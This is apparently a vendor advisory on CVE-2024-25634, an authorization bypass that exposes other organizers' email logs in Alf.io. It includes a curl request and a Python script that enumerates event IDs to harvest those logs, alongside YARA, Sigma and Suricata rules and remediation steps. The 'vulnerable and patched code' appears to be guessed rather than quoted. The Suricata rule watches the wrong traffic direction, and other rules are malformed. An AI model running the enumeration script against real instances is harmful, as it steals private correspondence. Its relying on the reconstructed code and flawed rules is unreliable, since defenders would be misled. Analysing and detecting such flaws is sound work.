CVE-2024-25634

Executive Summary

CVE-2024-25634 is an authorization bypass vulnerability in Alf.io, an open-source ticket reservation system. An authenticated attacker can exploit a missing access control check to access email logs from other organizers' events. This allows unauthorized disclosure of sensitive email communications, potentially containing personal data, payment information, or internal coordination details. The vulnerability has a CVSS score of 7.2 (High) and is currently unpatched in versions prior to 2.0-M4-2402. No public exploit code or PoC is available, but the attack vector is straightforward and requires only low-privilege access.

Supply Chain & Package Security

Alf.io is a Java/Spring Boot application distributed as a Docker image or via GitHub releases. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby), but the risk to supply chain is indirect: if an attacker compromises an Alf.io instance, they can exfiltrate email logs that may contain credentials or API keys for third-party services (e.g., payment gateways, email providers). Organizations should verify the integrity of their Alf.io deployment and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must have a valid organizer account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – email logs may contain sensitive data
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easy to exploit with minimal privileges and can lead to significant data leakage. Although no public exploit exists, the attack logic is simple (manipulating event IDs in API calls).

Deep Dive & Mechanics

The vulnerability resides in the email log retrieval endpoint. Alf.io uses a REST API to allow organizers to view email logs for their events. The endpoint likely accepts an event ID parameter (e.g., /admin/events/{eventId}/email-logs). The application fails to verify that the authenticated user is the owner of the specified event. An attacker can enumerate event IDs (which are often sequential integers or predictable UUIDs) and access email logs for any event, including those belonging to other organizers.

Root Cause: Missing authorization check in the controller method that handles email log requests. The code only checks if the user is authenticated (has a valid session) but does not verify that the user has the OWNER or ORGANIZER role for the requested event.

Attack Flow:

1. Attacker logs in as a low-privilege organizer (e.g., creates a free account or compromises a legitimate account).
2. Attacker sends a GET request to /admin/events/1/email-logs, /admin/events/2/email-logs, etc.
3. The server returns email logs for each event without checking ownership.
4. Attacker collects sensitive data from all events.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.0-M4-2402):

@GetMapping("/admin/events/{eventId}/email-logs")
public ResponseEntity<List<EmailLog>> getEmailLogs(@PathVariable Long eventId) {
    // Only checks if user is authenticated
    User user = getCurrentUser();
    if (user == null) {
        return ResponseEntity.status(401).build();
    }
    List<EmailLog> logs = emailLogService.getLogsForEvent(eventId);
    return ResponseEntity.ok(logs);
}

Patched Code (2.0-M4-2402):

@GetMapping("/admin/events/{eventId}/email-logs")
public ResponseEntity<List<EmailLog>> getEmailLogs(@PathVariable Long eventId) {
    User user = getCurrentUser();
    if (user == null) {
        return ResponseEntity.status(401).build();
    }
    // Verify user is organizer of this event
    Event event = eventService.getEvent(eventId);
    if (!event.getOrganizers().contains(user)) {
        return ResponseEntity.status(403).build();
    }
    List<EmailLog> logs = emailLogService.getLogsForEvent(eventId);
    return ResponseEntity.ok(logs);
}

The patch adds a check to ensure the authenticated user is listed as an organizer for the requested event. If not, a 403 Forbidden response is returned.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Alf.io instance (version < 2.0-M4-2402)
• A valid organizer account (can be created via registration if open, or compromised)

Exploitation Steps:

1. Log in to Alf.io and obtain a session cookie (e.g., JSESSIONID).
2. Use a tool like curl or Burp Suite to enumerate event IDs:

   curl -X GET "https://target-alfio.com/admin/events/1/email-logs" \
        -H "Cookie: JSESSIONID=your-session-id"
   

3. Iterate through event IDs (1, 2, 3, ...) until you find events belonging to other organizers.
4. Extract email logs containing sensitive information.

Automated Enumeration Script (Python):

import requests

target = "https://target-alfio.com"
session = requests.Session()
session.cookies.set("JSESSIONID", "your-session-id")

for event_id in range(1, 100):
    url = f"{target}/admin/events/{event_id}/email-logs"
    resp = session.get(url)
    if resp.status_code == 200 and len(resp.json()) > 0:
        print(f"Event {event_id}: {resp.json()}")

Blue Team

Detection:

• Monitor for repeated requests to /admin/events/*/email-logs with different event IDs from the same user.
• Alert on 403 responses after a 200 response for the same endpoint (indicates enumeration attempt).
• Use the Sigma rule below to detect suspicious access patterns.

Hunting:

• Review web server logs for patterns like /admin/events/1/email-logs, /admin/events/2/email-logs, etc., from a single IP.
• Check for users who access email logs for events they are not associated with (cross-reference event organizer lists).

Lab Setup:

1. Deploy a vulnerable Alf.io instance using Docker:

   docker run -d -p 8080:8080 alfio/alfio:2.0-M3-2401
   

2. Create two organizer accounts (e.g., attacker@test.com and victim@test.com).
3. As victim, create an event and send a test email.
4. As attacker, exploit the vulnerability to read the victim's email logs.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /admin/events/{id}/email-logs with sequential or brute-forced {id} values.
• Logs: Web server access logs showing multiple 200 responses for different event IDs from the same user.
• User Behavior: A user accessing email logs for events they did not create.
• File System: No file-based IOCs; the vulnerability is purely API-based.

Detection Engineering

YARA Rule

rule CVE_2024_25634_Alfio_EmailLog_Access {
    meta:
        description = "Detects attempts to exploit CVE-2024-25634 by accessing email logs for unauthorized events"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25634"
    strings:
        $endpoint = "/admin/events/"
        $email_logs = "/email-logs"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-25634 - Alf.io Email Log Unauthorized Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to Alf.io email log endpoint with different event IDs from the same user, indicating enumeration.
author: Valters IT
date: 2024/02/20
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem|startswith: '/admin/events/'
        cs-uri-stem|endswith: '/email-logs'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          condition: gt 5
falsepositives:
    - Legitimate organizers with many events
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25634 - Alf.io Email Log Enumeration";
    flow:to_server,established;
    content:"/admin/events/"; http_uri;
    content:"/email-logs"; http_uri;
    pcre:"/\/admin\/events\/\d+\/email-logs/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Alf.io to version 2.0-M4-2402 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF (e.g., ModSecurity) to block requests to /admin/events/*/email-logs unless the user is verified as the event organizer.
3. Restrict API access to trusted IPs or VPN.

Long-Term Fixes:

• Implement proper authorization checks for all admin endpoints (not just email logs).
• Use role-based access control (RBAC) with event-level permissions.
• Conduct a security audit of all API endpoints to ensure consistent authorization.

Compromise Assessment:

• Review web server logs for unauthorized access to email logs.
• Check if any email logs contained sensitive data (e.g., passwords, payment info) that may have been exposed.
• Rotate any credentials or API keys that were present in exposed logs.

Valters IT